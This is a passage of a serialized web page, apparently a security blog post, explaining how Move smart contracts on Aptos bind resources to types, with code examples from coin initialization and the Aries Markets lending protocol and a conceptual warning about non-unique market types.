)",{"type":23,"tag":504,"props":5590,"children":5591},{"style":598},[5592],{"type":28,"value":3472},{"type":23,"tag":504,"props":5594,"children":5595},{"style":523},[5596],{"type":28,"value":801},{"type":23,"tag":504,"props":5598,"children":5599},{"style":1012},[5600],{"type":28,"value":5601},"BurnCapability",{"type":23,"tag":504,"props":5603,"children":5604},{"style":523},[5605],{"type":28,"value":4789},{"type":23,"tag":504,"props":5607,"children":5608},{"style":1012},[5609],{"type":28,"value":5567},{"type":23,"tag":504,"props":5611,"children":5612},{"style":523},[5613],{"type":28,"value":5614},">, ",{"type":23,"tag":504,"props":5616,"children":5617},{"style":1012},[5618],{"type":28,"value":5619},"FreezeCapability",{"type":23,"tag":504,"props":5621,"children":5622},{"style":523},[5623],{"type":28,"value":4789},{"type":23,"tag":504,"props":5625,"children":5626},{"style":1012},[5627],{"type":28,"value":5567},{"type":23,"tag":504,"props":5629,"children":5630},{"style":523},[5631],{"type":28,"value":5614},{"type":23,"tag":504,"props":5633,"children":5634},{"style":1012},[5635],{"type":28,"value":5636},"MintCapability",{"type":23,"tag":504,"props":5638,"children":5639},{"style":523},[5640],{"type":28,"value":4789},{"type":23,"tag":504,"props":5642,"children":5643},{"style":1012},[5644],{"type":28,"value":5567},{"type":23,"tag":504,"props":5646,"children":5647},{"style":523},[5648],{"type":28,"value":5649},">) {\n",{"type":23,"tag":504,"props":5651,"children":5652},{"class":506,"line":633},[5653],{"type":23,"tag":504,"props":5654,"children":5655},{"style":1106},[5656],{"type":28,"value":5580},{"type":23,"tag":504,"props":5658,"children":5659},{"class":506,"line":687},[5660],{"type":23,"tag":504,"props":5661,"children":5662},{"emptyLinePlaceholder":16},[5663],{"type":28,"value":1038},{"type":23,"tag":504,"props":5665,"children":5666},{"class":506,"line":736},[5667,5672],{"type":23,"tag":504,"props":5668,"children":5669},{"style":517},[5670],{"type":28,"value":5671},"      assert!",{"type":23,"tag":504,"props":5673,"children":5674},{"style":523},[5675],{"type":28,"value":2439},{"type":23,"tag":504,"props":5677,"children":5678},{"class":506,"line":785},[5679,5684,5689,5693,5698,5702,5706,5711,5716],{"type":23,"tag":504,"props":5680,"children":5681},{"style":598},[5682],{"type":28,"value":5683},"          !",{"type":23,"tag":504,"props":5685,"children":5686},{"style":529},[5687],{"type":28,"value":5688},"exists",{"type":23,"tag":504,"props":5690,"children":5691},{"style":523},[5692],{"type":28,"value":4789},{"type":23,"tag":504,"props":5694,"children":5695},{"style":1012},[5696],{"type":28,"value":5697},"CoinInfo",{"type":23,"tag":504,"props":5699,"children":5700},{"style":523},[5701],{"type":28,"value":4789},{"type":23,"tag":504,"props":5703,"children":5704},{"style":1012},[5705],{"type":28,"value":5567},{"type":23,"tag":504,"props":5707,"children":5708},{"style":523},[5709],{"type":28,"value":5710},">>(",{"type":23,"tag":504,"props":5712,"children":5713},{"style":529},[5714],{"type":28,"value":5715},"account_addr",{"type":23,"tag":504,"props":5717,"children":5718},{"style":523},[5719],{"type":28,"value":5720},"),\n",{"type":23,"tag":504,"props":5722,"children":5723},{"class":506,"line":813},[5724,5729,5733,5738],{"type":23,"tag":504,"props":5725,"children":5726},{"style":523},[5727],{"type":28,"value":5728},"          error",{"type":23,"tag":504,"props":5730,"children":5731},{"style":598},[5732],{"type":28,"value":2457},{"type":23,"tag":504,"props":5734,"children":5735},{"style":517},[5736],{"type":28,"value":5737},"already_exists",{"type":23,"tag":504,"props":5739,"children":5740},{"style":523},[5741],{"type":28,"value":5742},"(ECOIN_INFO_ALREADY_PUBLISHED),\n",{"type":23,"tag":504,"props":5744,"children":5745},{"class":506,"line":851},[5746],{"type":23,"tag":504,"props":5747,"children":5748},{"style":523},[5749],{"type":28,"value":5750},"      );\n",{"type":23,"tag":24,"props":5752,"children":5753},{},[5754,5756,5761],{"type":28,"value":5755},"While this ",{"type":23,"tag":56,"props":5757,"children":5759},{"className":5758},[],[5760],{"type":28,"value":5697},{"type":28,"value":5762}," isn't returned directly, it still ensures uniqueness of the capability objects.",{"type":23,"tag":24,"props":5764,"children":5765},{},[5766,5768,5775],{"type":28,"value":5767},"Similarly, consider ",{"type":23,"tag":92,"props":5769,"children":5772},{"href":5770,"rel":5771},"https://ariesmarkets.xyz/",[96],[5773],{"type":28,"value":5774},"Aries Markets",{"type":28,"value":5776},", a lending/borrowing protocol building on Aptos.",{"type":23,"tag":24,"props":5778,"children":5779},{},[5780,5782,5788],{"type":28,"value":5781},"Their ",{"type":23,"tag":56,"props":5783,"children":5785},{"className":5784},[],[5786],{"type":28,"value":5787},"ReserveCoinContainer",{"type":28,"value":5789}," struct stores all the relevant data and resources for managing a lending market.",{"type":23,"tag":494,"props":5791,"children":5793},{"className":1957,"code":5792,"language":1956,"meta":7,"style":7},"  /// The struct to hold all the underlying `Coin`s.\n  /// Stored as a resources.\n  struct ReserveCoinContainer\u003Cphantom Coin0> has key {\n      /// Stores the available `Coin`.\n      underlying_coin: Coin\u003CCoin0>,\n      /// Stores the LP `Coin` that act as collateral.\n      collateralised_lp_coin: Coin\u003CLP\u003CCoin0>>,\n      /// Mint capability for LP Coin.\n      mint_capability: MintCapability\u003CLP\u003CCoin0>>,\n      /// Burn capability for LP Coin.\n      burn_capability: BurnCapability\u003CLP\u003CCoin0>>,\n\n      // ...\n  }\n\n",[5794],{"type":23,"tag":56,"props":5795,"children":5796},{"__ignoreMap":7},[5797,5805,5813,5854,5862,5891,5899,5936,5944,5981,5989,6026,6033,6040],{"type":23,"tag":504,"props":5798,"children":5799},{"class":506,"line":507},[5800],{"type":23,"tag":504,"props":5801,"children":5802},{"style":1106},[5803],{"type":28,"value":5804},"  /// The struct to hold all the underlying `Coin`s.\n",{"type":23,"tag":504,"props":5806,"children":5807},{"class":506,"line":540},[5808],{"type":23,"tag":504,"props":5809,"children":5810},{"style":1106},[5811],{"type":28,"value":5812},"  /// Stored as a resources.\n",{"type":23,"tag":504,"props":5814,"children":5815},{"class":506,"line":555},[5816,5820,5825,5829,5833,5838,5842,5846,5850],{"type":23,"tag":504,"props":5817,"children":5818},{"style":511},[5819],{"type":28,"value":4779},{"type":23,"tag":504,"props":5821,"children":5822},{"style":1012},[5823],{"type":28,"value":5824}," ReserveCoinContainer",{"type":23,"tag":504,"props":5826,"children":5827},{"style":523},[5828],{"type":28,"value":4789},{"type":23,"tag":504,"props":5830,"children":5831},{"style":529},[5832],{"type":28,"value":4794},{"type":23,"tag":504,"props":5834,"children":5835},{"style":1012},[5836],{"type":28,"value":5837}," Coin0",{"type":23,"tag":504,"props":5839,"children":5840},{"style":523},[5841],{"type":28,"value":4804},{"type":23,"tag":504,"props":5843,"children":5844},{"style":529},[5845],{"type":28,"value":4809},{"type":23,"tag":504,"props":5847,"children":5848},{"style":529},[5849],{"type":28,"value":4915},{"type":23,"tag":504,"props":5851,"children":5852},{"style":523},[5853],{"type":28,"value":552},{"type":23,"tag":504,"props":5855,"children":5856},{"class":506,"line":633},[5857],{"type":23,"tag":504,"props":5858,"children":5859},{"style":1106},[5860],{"type":28,"value":5861},"      /// Stores the available `Coin`.\n",{"type":23,"tag":504,"props":5863,"children":5864},{"class":506,"line":687},[5865,5870,5874,5878,5882,5887],{"type":23,"tag":504,"props":5866,"children":5867},{"style":529},[5868],{"type":28,"value":5869},"      underlying_coin",{"type":23,"tag":504,"props":5871,"children":5872},{"style":598},[5873],{"type":28,"value":3472},{"type":23,"tag":504,"props":5875,"children":5876},{"style":1012},[5877],{"type":28,"value":4784},{"type":23,"tag":504,"props":5879,"children":5880},{"style":523},[5881],{"type":28,"value":4789},{"type":23,"tag":504,"props":5883,"children":5884},{"style":1012},[5885],{"type":28,"value":5886},"Coin0",{"type":23,"tag":504,"props":5888,"children":5889},{"style":523},[5890],{"type":28,"value":5122},{"type":23,"tag":504,"props":5892,"children":5893},{"class":506,"line":736},[5894],{"type":23,"tag":504,"props":5895,"children":5896},{"style":1106},[5897],{"type":28,"value":5898},"      /// Stores the LP `Coin` that act as collateral.\n",{"type":23,"tag":504,"props":5900,"children":5901},{"class":506,"line":785},[5902,5907,5911,5915,5919,5923,5927,5931],{"type":23,"tag":504,"props":5903,"children":5904},{"style":529},[5905],{"type":28,"value":5906},"      collateralised_lp_coin",{"type":23,"tag":504,"props":5908,"children":5909},{"style":598},[5910],{"type":28,"value":3472},{"type":23,"tag":504,"props":5912,"children":5913},{"style":1012},[5914],{"type":28,"value":4784},{"type":23,"tag":504,"props":5916,"children":5917},{"style":523},[5918],{"type":28,"value":4789},{"type":23,"tag":504,"props":5920,"children":5921},{"style":1012},[5922],{"type":28,"value":5318},{"type":23,"tag":504,"props":5924,"children":5925},{"style":523},[5926],{"type":28,"value":4789},{"type":23,"tag":504,"props":5928,"children":5929},{"style":1012},[5930],{"type":28,"value":5886},{"type":23,"tag":504,"props":5932,"children":5933},{"style":523},[5934],{"type":28,"value":5935},">>,\n",{"type":23,"tag":504,"props":5937,"children":5938},{"class":506,"line":813},[5939],{"type":23,"tag":504,"props":5940,"children":5941},{"style":1106},[5942],{"type":28,"value":5943},"      /// Mint capability for LP Coin.\n",{"type":23,"tag":504,"props":5945,"children":5946},{"class":506,"line":851},[5947,5952,5956,5961,5965,5969,5973,5977],{"type":23,"tag":504,"props":5948,"children":5949},{"style":529},[5950],{"type":28,"value":5951},"      mint_capability",{"type":23,"tag":504,"props":5953,"children":5954},{"style":598},[5955],{"type":28,"value":3472},{"type":23,"tag":504,"props":5957,"children":5958},{"style":1012},[5959],{"type":28,"value":5960}," MintCapability",{"type":23,"tag":504,"props":5962,"children":5963},{"style":523},[5964],{"type":28,"value":4789},{"type":23,"tag":504,"props":5966,"children":5967},{"style":1012},[5968],{"type":28,"value":5318},{"type":23,"tag":504,"props":5970,"children":5971},{"style":523},[5972],{"type":28,"value":4789},{"type":23,"tag":504,"props":5974,"children":5975},{"style":1012},[5976],{"type":28,"value":5886},{"type":23,"tag":504,"props":5978,"children":5979},{"style":523},[5980],{"type":28,"value":5935},{"type":23,"tag":504,"props":5982,"children":5983},{"class":506,"line":869},[5984],{"type":23,"tag":504,"props":5985,"children":5986},{"style":1106},[5987],{"type":28,"value":5988},"      /// Burn capability for LP Coin.\n",{"type":23,"tag":504,"props":5990,"children":5991},{"class":506,"line":878},[5992,5997,6001,6006,6010,6014,6018,6022],{"type":23,"tag":504,"props":5993,"children":5994},{"style":529},[5995],{"type":28,"value":5996},"      burn_capability",{"type":23,"tag":504,"props":5998,"children":5999},{"style":598},[6000],{"type":28,"value":3472},{"type":23,"tag":504,"props":6002,"children":6003},{"style":1012},[6004],{"type":28,"value":6005}," BurnCapability",{"type":23,"tag":504,"props":6007,"children":6008},{"style":523},[6009],{"type":28,"value":4789},{"type":23,"tag":504,"props":6011,"children":6012},{"style":1012},[6013],{"type":28,"value":5318},{"type":23,"tag":504,"props":6015,"children":6016},{"style":523},[6017],{"type":28,"value":4789},{"type":23,"tag":504,"props":6019,"children":6020},{"style":1012},[6021],{"type":28,"value":5886},{"type":23,"tag":504,"props":6023,"children":6024},{"style":523},[6025],{"type":28,"value":5935},{"type":23,"tag":504,"props":6027,"children":6028},{"class":506,"line":1221},[6029],{"type":23,"tag":504,"props":6030,"children":6031},{"emptyLinePlaceholder":16},[6032],{"type":28,"value":1038},{"type":23,"tag":504,"props":6034,"children":6035},{"class":506,"line":1276},[6036],{"type":23,"tag":504,"props":6037,"children":6038},{"style":1106},[6039],{"type":28,"value":5580},{"type":23,"tag":504,"props":6041,"children":6042},{"class":506,"line":1285},[6043],{"type":23,"tag":504,"props":6044,"children":6045},{"style":523},[6046],{"type":28,"value":4855},{"type":23,"tag":24,"props":6048,"children":6049},{},[6050,6052,6057],{"type":28,"value":6051},"When creating a ",{"type":23,"tag":56,"props":6053,"children":6055},{"className":6054},[],[6056],{"type":28,"value":5787},{"type":28,"value":6058},", uniqueness is implicitly enforced by moving it into a hardcoded address.",{"type":23,"tag":494,"props":6060,"children":6062},{"className":1957,"code":6061,"language":1956,"meta":7,"style":7},"  public(friend) fun create\u003CCoin0>(\n      lp_store: &signer,\n      // ...\n  ) acquires Reserves {\n      lp::assert_is_lp_store(signer::address_of(lp_store));\n\n      // ...\n\n      move_to(lp_store, ReserveCoinContainer\u003CCoin0> {\n        // ...\n      });\n",[6063],{"type":23,"tag":56,"props":6064,"children":6065},{"__ignoreMap":7},[6066,6109,6135,6142,6163,6207,6214,6221,6228,6265,6272],{"type":23,"tag":504,"props":6067,"children":6068},{"class":506,"line":507},[6069,6074,6078,6083,6087,6092,6097,6101,6105],{"type":23,"tag":504,"props":6070,"children":6071},{"style":517},[6072],{"type":28,"value":6073},"  public",{"type":23,"tag":504,"props":6075,"children":6076},{"style":523},[6077],{"type":28,"value":526},{"type":23,"tag":504,"props":6079,"children":6080},{"style":529},[6081],{"type":28,"value":6082},"friend",{"type":23,"tag":504,"props":6084,"children":6085},{"style":523},[6086],{"type":28,"value":2064},{"type":23,"tag":504,"props":6088,"children":6089},{"style":529},[6090],{"type":28,"value":6091},"fun",{"type":23,"tag":504,"props":6093,"children":6094},{"style":529},[6095],{"type":28,"value":6096}," create",{"type":23,"tag":504,"props":6098,"children":6099},{"style":523},[6100],{"type":28,"value":4789},{"type":23,"tag":504,"props":6102,"children":6103},{"style":1012},[6104],{"type":28,"value":5886},{"type":23,"tag":504,"props":6106,"children":6107},{"style":523},[6108],{"type":28,"value":5572},{"type":23,"tag":504,"props":6110,"children":6111},{"class":506,"line":540},[6112,6117,6121,6126,6131],{"type":23,"tag":504,"props":6113,"children":6114},{"style":529},[6115],{"type":28,"value":6116},"      lp_store",{"type":23,"tag":504,"props":6118,"children":6119},{"style":598},[6120],{"type":28,"value":3472},{"type":23,"tag":504,"props":6122,"children":6123},{"style":598},[6124],{"type":28,"value":6125}," &",{"type":23,"tag":504,"props":6127,"children":6128},{"style":529},[6129],{"type":28,"value":6130},"signer",{"type":23,"tag":504,"props":6132,"children":6133},{"style":523},[6134],{"type":28,"value":2484},{"type":23,"tag":504,"props":6136,"children":6137},{"class":506,"line":555},[6138],{"type":23,"tag":504,"props":6139,"children":6140},{"style":1106},[6141],{"type":28,"value":5580},{"type":23,"tag":504,"props":6143,"children":6144},{"class":506,"line":633},[6145,6150,6154,6159],{"type":23,"tag":504,"props":6146,"children":6147},{"style":523},[6148],{"type":28,"value":6149},"  ) ",{"type":23,"tag":504,"props":6151,"children":6152},{"style":529},[6153],{"type":28,"value":5327},{"type":23,"tag":504,"props":6155,"children":6156},{"style":1012},[6157],{"type":28,"value":6158}," Reserves",{"type":23,"tag":504,"props":6160,"children":6161},{"style":523},[6162],{"type":28,"value":552},{"type":23,"tag":504,"props":6164,"children":6165},{"class":506,"line":687},[6166,6171,6175,6180,6185,6189,6194,6198,6203],{"type":23,"tag":504,"props":6167,"children":6168},{"style":523},[6169],{"type":28,"value":6170},"      lp",{"type":23,"tag":504,"props":6172,"children":6173},{"style":598},[6174],{"type":28,"value":2457},{"type":23,"tag":504,"props":6176,"children":6177},{"style":517},[6178],{"type":28,"value":6179},"assert_is_lp_store",{"type":23,"tag":504,"props":6181,"children":6182},{"style":523},[6183],{"type":28,"value":6184},"(signer",{"type":23,"tag":504,"props":6186,"children":6187},{"style":598},[6188],{"type":28,"value":2457},{"type":23,"tag":504,"props":6190,"children":6191},{"style":517},[6192],{"type":28,"value":6193},"address_of",{"type":23,"tag":504,"props":6195,"children":6196},{"style":523},[6197],{"type":28,"value":526},{"type":23,"tag":504,"props":6199,"children":6200},{"style":529},[6201],{"type":28,"value":6202},"lp_store",{"type":23,"tag":504,"props":6204,"children":6205},{"style":523},[6206],{"type":28,"value":684},{"type":23,"tag":504,"props":6208,"children":6209},{"class":506,"line":736},[6210],{"type":23,"tag":504,"props":6211,"children":6212},{"emptyLinePlaceholder":16},[6213],{"type":28,"value":1038},{"type":23,"tag":504,"props":6215,"children":6216},{"class":506,"line":785},[6217],{"type":23,"tag":504,"props":6218,"children":6219},{"style":1106},[6220],{"type":28,"value":5580},{"type":23,"tag":504,"props":6222,"children":6223},{"class":506,"line":813},[6224],{"type":23,"tag":504,"props":6225,"children":6226},{"emptyLinePlaceholder":16},[6227],{"type":28,"value":1038},{"type":23,"tag":504,"props":6229,"children":6230},{"class":506,"line":851},[6231,6236,6240,6244,6248,6252,6256,6260],{"type":23,"tag":504,"props":6232,"children":6233},{"style":517},[6234],{"type":28,"value":6235},"      move_to",{"type":23,"tag":504,"props":6237,"children":6238},{"style":523},[6239],{"type":28,"value":526},{"type":23,"tag":504,"props":6241,"children":6242},{"style":529},[6243],{"type":28,"value":6202},{"type":23,"tag":504,"props":6245,"children":6246},{"style":523},[6247],{"type":28,"value":576},{"type":23,"tag":504,"props":6249,"children":6250},{"style":1012},[6251],{"type":28,"value":5787},{"type":23,"tag":504,"props":6253,"children":6254},{"style":523},[6255],{"type":28,"value":4789},{"type":23,"tag":504,"props":6257,"children":6258},{"style":1012},[6259],{"type":28,"value":5886},{"type":23,"tag":504,"props":6261,"children":6262},{"style":523},[6263],{"type":28,"value":6264},"> {\n",{"type":23,"tag":504,"props":6266,"children":6267},{"class":506,"line":869},[6268],{"type":23,"tag":504,"props":6269,"children":6270},{"style":1106},[6271],{"type":28,"value":5159},{"type":23,"tag":504,"props":6273,"children":6274},{"class":506,"line":878},[6275],{"type":23,"tag":504,"props":6276,"children":6277},{"style":523},[6278],{"type":28,"value":6279},"      });\n",{"type":23,"tag":24,"props":6281,"children":6282},{},[6283],{"type":28,"value":6284},"In both these instances, type association only works because we create exactly one instance per type.",{"type":23,"tag":24,"props":6286,"children":6287},{},[6288,6290,6296,6298,6304,6306,6311],{"type":28,"value":6289},"On the other hand, consider if you have a ",{"type":23,"tag":56,"props":6291,"children":6293},{"className":6292},[],[6294],{"type":28,"value":6295},"Position\u003CT>",{"type":28,"value":6297}," and a ",{"type":23,"tag":56,"props":6299,"children":6301},{"className":6300},[],[6302],{"type":28,"value":6303},"Market\u003CT>",{"type":28,"value":6305}," where ",{"type":23,"tag":56,"props":6307,"children":6309},{"className":6308},[],[6310],{"type":28,"value":4971},{"type":28,"value":6312}," is the coin type.",{"type":23,"tag":494,"props":6314,"children":6316},{"className":1957,"code":6315,"language":1956,"meta":7,"style":7},"    struct Market\u003Cphantom T> {\n        reserves: Coin\u003CT>,\n        // ...\n    }\n\n    struct Position\u003Cphantom T> {\n        amount: u64,\n        // ...\n    }\n",[6317],{"type":23,"tag":56,"props":6318,"children":6319},{"__ignoreMap":7},[6320,6348,6376,6383,6390,6397,6425,6445,6452],{"type":23,"tag":504,"props":6321,"children":6322},{"class":506,"line":507},[6323,6327,6332,6336,6340,6344],{"type":23,"tag":504,"props":6324,"children":6325},{"style":511},[6326],{"type":28,"value":5036},{"type":23,"tag":504,"props":6328,"children":6329},{"style":1012},[6330],{"type":28,"value":6331}," Market",{"type":23,"tag":504,"props":6333,"children":6334},{"style":523},[6335],{"type":28,"value":4789},{"type":23,"tag":504,"props":6337,"children":6338},{"style":529},[6339],{"type":28,"value":4794},{"type":23,"tag":504,"props":6341,"children":6342},{"style":1012},[6343],{"type":28,"value":4902},{"type":23,"tag":504,"props":6345,"children":6346},{"style":523},[6347],{"type":28,"value":6264},{"type":23,"tag":504,"props":6349,"children":6350},{"class":506,"line":540},[6351,6356,6360,6364,6368,6372],{"type":23,"tag":504,"props":6352,"children":6353},{"style":529},[6354],{"type":28,"value":6355},"        reserves",{"type":23,"tag":504,"props":6357,"children":6358},{"style":598},[6359],{"type":28,"value":3472},{"type":23,"tag":504,"props":6361,"children":6362},{"style":1012},[6363],{"type":28,"value":4784},{"type":23,"tag":504,"props":6365,"children":6366},{"style":523},[6367],{"type":28,"value":4789},{"type":23,"tag":504,"props":6369,"children":6370},{"style":1012},[6371],{"type":28,"value":4971},{"type":23,"tag":504,"props":6373,"children":6374},{"style":523},[6375],{"type":28,"value":5122},{"type":23,"tag":504,"props":6377,"children":6378},{"class":506,"line":555},[6379],{"type":23,"tag":504,"props":6380,"children":6381},{"style":1106},[6382],{"type":28,"value":5159},{"type":23,"tag":504,"props":6384,"children":6385},{"class":506,"line":633},[6386],{"type":23,"tag":504,"props":6387,"children":6388},{"style":523},[6389],{"type":28,"value":875},{"type":23,"tag":504,"props":6391,"children":6392},{"class":506,"line":687},[6393],{"type":23,"tag":504,"props":6394,"children":6395},{"emptyLinePlaceholder":16},[6396],{"type":28,"value":1038},{"type":23,"tag":504,"props":6398,"children":6399},{"class":506,"line":736},[6400,6404,6409,6413,6417,6421],{"type":23,"tag":504,"props":6401,"children":6402},{"style":511},[6403],{"type":28,"value":5036},{"type":23,"tag":504,"props":6405,"children":6406},{"style":1012},[6407],{"type":28,"value":6408}," Position",{"type":23,"tag":504,"props":6410,"children":6411},{"style":523},[6412],{"type":28,"value":4789},{"type":23,"tag":504,"props":6414,"children":6415},{"style":529},[6416],{"type":28,"value":4794},{"type":23,"tag":504,"props":6418,"children":6419},{"style":1012},[6420],{"type":28,"value":4902},{"type":23,"tag":504,"props":6422,"children":6423},{"style":523},[6424],{"type":28,"value":6264},{"type":23,"tag":504,"props":6426,"children":6427},{"class":506,"line":785},[6428,6433,6437,6441],{"type":23,"tag":504,"props":6429,"children":6430},{"style":529},[6431],{"type":28,"value":6432},"        amount",{"type":23,"tag":504,"props":6434,"children":6435},{"style":598},[6436],{"type":28,"value":3472},{"type":23,"tag":504,"props":6438,"children":6439},{"style":1012},[6440],{"type":28,"value":4843},{"type":23,"tag":504,"props":6442,"children":6443},{"style":523},[6444],{"type":28,"value":2484},{"type":23,"tag":504,"props":6446,"children":6447},{"class":506,"line":813},[6448],{"type":23,"tag":504,"props":6449,"children":6450},{"style":1106},[6451],{"type":28,"value":5159},{"type":23,"tag":504,"props":6453,"children":6454},{"class":506,"line":851},[6455],{"type":23,"tag":504,"props":6456,"children":6457},{"style":523},[6458],{"type":28,"value":875},{"type":23,"tag":24,"props":6460,"children":6461},{},[6462,6464,6469,6471,6476],{"type":28,"value":6463},"If ",{"type":23,"tag":56,"props":6465,"children":6467},{"className":6466},[],[6468],{"type":28,"value":6303},{"type":28,"value":6470}," isn't a unique type -- or in other words if you're able to create more than one instance of a market per type ",{"type":23,"tag":56,"props":6472,"children":6474},{"className":6473},[],[6475],{"type":28,"value":4971},{"type":28,"value":6477}," -- you might be able to pass in the incorrect market for a given position. This is a common vulnerability pattern on Solana.",{"type":23,"tag":24,"props":6479,"children":6480},{},[6481],{"type":28,"value":6482},"Dynamic iteration of types is also impossible (at least as currently designed by the Move VM) leading to massive headaches for developers. In these scenarios, we empirically observe developers defaulting back to type reflection APIs, complicating code unnecessarily. Security at the expense of usability comes at the expense of security.",{"type":23,"tag":494,"props":6484,"children":6486},{"className":1957,"code":6485,"language":1956,"meta":7,"style":7},"    /// Get the price of the token per lamport.\n    public fun get_price(type_info: TypeInfo): Decimal acquires Oracle {\n        let oracle = borrow_global_mut\u003COracle>(@oracle);\n        let price = table::borrow_mut_with_default\u003CTypeInfo, Decimal>(\n            &mut oracle.prices,\n            type_info,\n            decimal::one()\n        );\n        *price\n    }\n",[6487],{"type":23,"tag":56,"props":6488,"children":6489},{"__ignoreMap":7},[6490,6498,6560,6609,6661,6686,6698,6719,6727,6740],{"type":23,"tag":504,"props":6491,"children":6492},{"class":506,"line":507},[6493],{"type":23,"tag":504,"props":6494,"children":6495},{"style":1106},[6496],{"type":28,"value":6497},"    /// Get the price of the token per lamport.\n",{"type":23,"tag":504,"props":6499,"children":6500},{"class":506,"line":540},[6501,6506,6510,6515,6519,6524,6528,6533,6537,6541,6546,6551,6556],{"type":23,"tag":504,"props":6502,"children":6503},{"style":529},[6504],{"type":28,"value":6505},"    public",{"type":23,"tag":504,"props":6507,"children":6508},{"style":529},[6509],{"type":28,"value":1051},{"type":23,"tag":504,"props":6511,"children":6512},{"style":517},[6513],{"type":28,"value":6514}," get_price",{"type":23,"tag":504,"props":6516,"children":6517},{"style":523},[6518],{"type":28,"value":526},{"type":23,"tag":504,"props":6520,"children":6521},{"style":529},[6522],{"type":28,"value":6523},"type_info",{"type":23,"tag":504,"props":6525,"children":6526},{"style":598},[6527],{"type":28,"value":3472},{"type":23,"tag":504,"props":6529,"children":6530},{"style":1012},[6531],{"type":28,"value":6532}," TypeInfo",{"type":23,"tag":504,"props":6534,"children":6535},{"style":523},[6536],{"type":28,"value":2105},{"type":23,"tag":504,"props":6538,"children":6539},{"style":598},[6540],{"type":28,"value":3472},{"type":23,"tag":504,"props":6542,"children":6543},{"style":1012},[6544],{"type":28,"value":6545}," Decimal",{"type":23,"tag":504,"props":6547,"children":6548},{"style":529},[6549],{"type":28,"value":6550}," acquires",{"type":23,"tag":504,"props":6552,"children":6553},{"style":1012},[6554],{"type":28,"value":6555}," Oracle",{"type":23,"tag":504,"props":6557,"children":6558},{"style":523},[6559],{"type":28,"value":552},{"type":23,"tag":504,"props":6561,"children":6562},{"class":506,"line":555},[6563,6567,6572,6576,6581,6585,6590,6595,6600,6605],{"type":23,"tag":504,"props":6564,"children":6565},{"style":511},[6566],{"type":28,"value":2041},{"type":23,"tag":504,"props":6568,"children":6569},{"style":529},[6570],{"type":28,"value":6571}," oracle",{"type":23,"tag":504,"props":6573,"children":6574},{"style":598},[6575],{"type":28,"value":648},{"type":23,"tag":504,"props":6577,"children":6578},{"style":529},[6579],{"type":28,"value":6580}," borrow_global_mut",{"type":23,"tag":504,"props":6582,"children":6583},{"style":523},[6584],{"type":28,"value":4789},{"type":23,"tag":504,"props":6586,"children":6587},{"style":1012},[6588],{"type":28,"value":6589},"Oracle",{"type":23,"tag":504,"props":6591,"children":6592},{"style":523},[6593],{"type":28,"value":6594},">(",{"type":23,"tag":504,"props":6596,"children":6597},{"style":598},[6598],{"type":28,"value":6599},"@",{"type":23,"tag":504,"props":6601,"children":6602},{"style":529},[6603],{"type":28,"value":6604},"oracle",{"type":23,"tag":504,"props":6606,"children":6607},{"style":523},[6608],{"type":28,"value":630},{"type":23,"tag":504,"props":6610,"children":6611},{"class":506,"line":633},[6612,6616,6621,6625,6630,6634,6639,6643,6648,6652,6657],{"type":23,"tag":504,"props":6613,"children":6614},{"style":511},[6615],{"type":28,"value":2041},{"type":23,"tag":504,"props":6617,"children":6618},{"style":529},[6619],{"type":28,"value":6620}," price",{"type":23,"tag":504,"props":6622,"children":6623},{"style":598},[6624],{"type":28,"value":648},{"type":23,"tag":504,"props":6626,"children":6627},{"style":523},[6628],{"type":28,"value":6629}," table",{"type":23,"tag":504,"props":6631,"children":6632},{"style":598},[6633],{"type":28,"value":2457},{"type":23,"tag":504,"props":6635,"children":6636},{"style":529},[6637],{"type":28,"value":6638},"borrow_mut_with_default",{"type":23,"tag":504,"props":6640,"children":6641},{"style":523},[6642],{"type":28,"value":4789},{"type":23,"tag":504,"props":6644,"children":6645},{"style":1012},[6646],{"type":28,"value":6647},"TypeInfo",{"type":23,"tag":504,"props":6649,"children":6650},{"style":523},[6651],{"type":28,"value":576},{"type":23,"tag":504,"props":6653,"children":6654},{"style":1012},[6655],{"type":28,"value":6656},"Decimal",{"type":23,"tag":504,"props":6658,"children":6659},{"style":523},[6660],{"type":28,"value":5572},{"type":23,"tag":504,"props":6662,"children":6663},{"class":506,"line":687},[6664,6669,6673,6677,6681],{"type":23,"tag":504,"props":6665,"children":6666},{"style":598},[6667],{"type":28,"value":6668},"            &",{"type":23,"tag":504,"props":6670,"children":6671},{"style":511},[6672],{"type":28,"value":2701},{"type":23,"tag":504,"props":6674,"children":6675},{"style":529},[6676],{"type":28,"value":6571},{"type":23,"tag":504,"props":6678,"children":6679},{"style":598},[6680],{"type":28,"value":320},{"type":23,"tag":504,"props":6682,"children":6683},{"style":523},[6684],{"type":28,"value":6685},"prices,\n",{"type":23,"tag":504,"props":6687,"children":6688},{"class":506,"line":736},[6689,6694],{"type":23,"tag":504,"props":6690,"children":6691},{"style":529},[6692],{"type":28,"value":6693},"            type_info",{"type":23,"tag":504,"props":6695,"children":6696},{"style":523},[6697],{"type":28,"value":2484},{"type":23,"tag":504,"props":6699,"children":6700},{"class":506,"line":785},[6701,6706,6710,6715],{"type":23,"tag":504,"props":6702,"children":6703},{"style":523},[6704],{"type":28,"value":6705},"            decimal",{"type":23,"tag":504,"props":6707,"children":6708},{"style":598},[6709],{"type":28,"value":2457},{"type":23,"tag":504,"props":6711,"children":6712},{"style":517},[6713],{"type":28,"value":6714},"one",{"type":23,"tag":504,"props":6716,"children":6717},{"style":523},[6718],{"type":28,"value":1156},{"type":23,"tag":504,"props":6720,"children":6721},{"class":506,"line":813},[6722],{"type":23,"tag":504,"props":6723,"children":6724},{"style":523},[6725],{"type":28,"value":6726},"        );\n",{"type":23,"tag":504,"props":6728,"children":6729},{"class":506,"line":851},[6730,6735],{"type":23,"tag":504,"props":6731,"children":6732},{"style":598},[6733],{"type":28,"value":6734},"        *",{"type":23,"tag":504,"props":6736,"children":6737},{"style":529},[6738],{"type":28,"value":6739},"price\n",{"type":23,"tag":504,"props":6741,"children":6742},{"class":506,"line":869},[6743],{"type":23,"tag":504,"props":6744,"children":6745},{"style":523},[6746],{"type":28,"value":875},{"type":23,"tag":24,"props":6748,"children":6749},{},[6750,6752,6757],{"type":28,"value":6751},"Type association feels like a proxy for the intended pattern -- associating resources with instances. It's very useful being able to store a reference to an ",{"type":23,"tag":1887,"props":6753,"children":6754},{},[6755],{"type":28,"value":6756},"instance",{"type":28,"value":6758}," of another resource (which is possible in Diem style move).",{"type":23,"tag":24,"props":6760,"children":6761},{},[6762],{"type":28,"value":6763},"In summary, when using type systems to bind resources to each other, it's important to either",{"type":23,"tag":41,"props":6765,"children":6766},{},[6767,6772],{"type":23,"tag":45,"props":6768,"children":6769},{},[6770],{"type":28,"value":6771},"Have unique initializers for your 